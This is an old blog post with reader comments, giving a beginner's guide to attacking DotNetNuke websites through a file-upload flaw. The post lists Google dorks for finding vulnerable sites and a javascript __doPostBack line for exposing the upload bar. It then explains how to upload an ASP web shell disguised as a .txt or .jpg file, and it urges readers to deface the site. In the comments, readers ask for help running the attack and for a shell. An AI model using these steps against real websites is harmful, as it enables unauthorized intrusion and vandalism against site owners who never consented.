Thursday 8 November 2012

DNN Attack for Beginners

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What is DNN ?

DNN stands for Dot Net Nuke. It have an Remote Arbitrary File Upload vulnerability. Simply said uploading vulnerability.
 

Finding vulnerable websites
 

Find vulnerable websites by GOOGLE dorks:

inurl:/fck/fcklinkgallery.aspx
inurl:/tabid/36/language/en-US/Default.aspx


I got a target,


Select "File" from list.

The in URL bar paste the JavaScript:

 javascript:__doPostBack('ctlURL$cmdUpload','')

Now there appear a UPLOADING bar on page. As seen below:

Now upload your ASP shell as "shell.asp;.txt , shell.asp;.jpg"

Your uploads will go to "http://www.site.com/Portals/0/shell.asp;.txt"












Now you have a shell access to the website. Now deface the website.

Hope you Enjoy.........

7 comments:

  1. bro,i couldn't use the javascript code in the url bar......what can i do??

    ReplyDelete
    Replies
    1. Due to security reasons in all modern browsers the JAVASCRIPT is turned off. You can turn it on to use JAVASCRIPT.

      Help is here
      http://adf.ly/VkQle

      Delete
  2. bro,i couldn't use the javascript code in the url bar......what can i do??

    ReplyDelete
    Replies
    1. Due to security reasons in all modern browsers the JAVASCRIPT is turned off. You can turn it on to use JAVASCRIPT.

      Help is here
      http://adf.ly/VkQle

      Delete
  3. Tnx,
    but bro,in my browser JAVASCRIPT is turned on,,,i tried it many times but failed ;),,,help me,plz,what can i do??

    ReplyDelete
    Replies
    1. It may be possible that the site is patched by the admin. This exploit is too old. Please use another site to test your exploit.

      Delete
    2. bro,i have used firefox 4 to do such,,n now it's done,,,,but i don't have any asp shell,,may i get it from u??

      Delete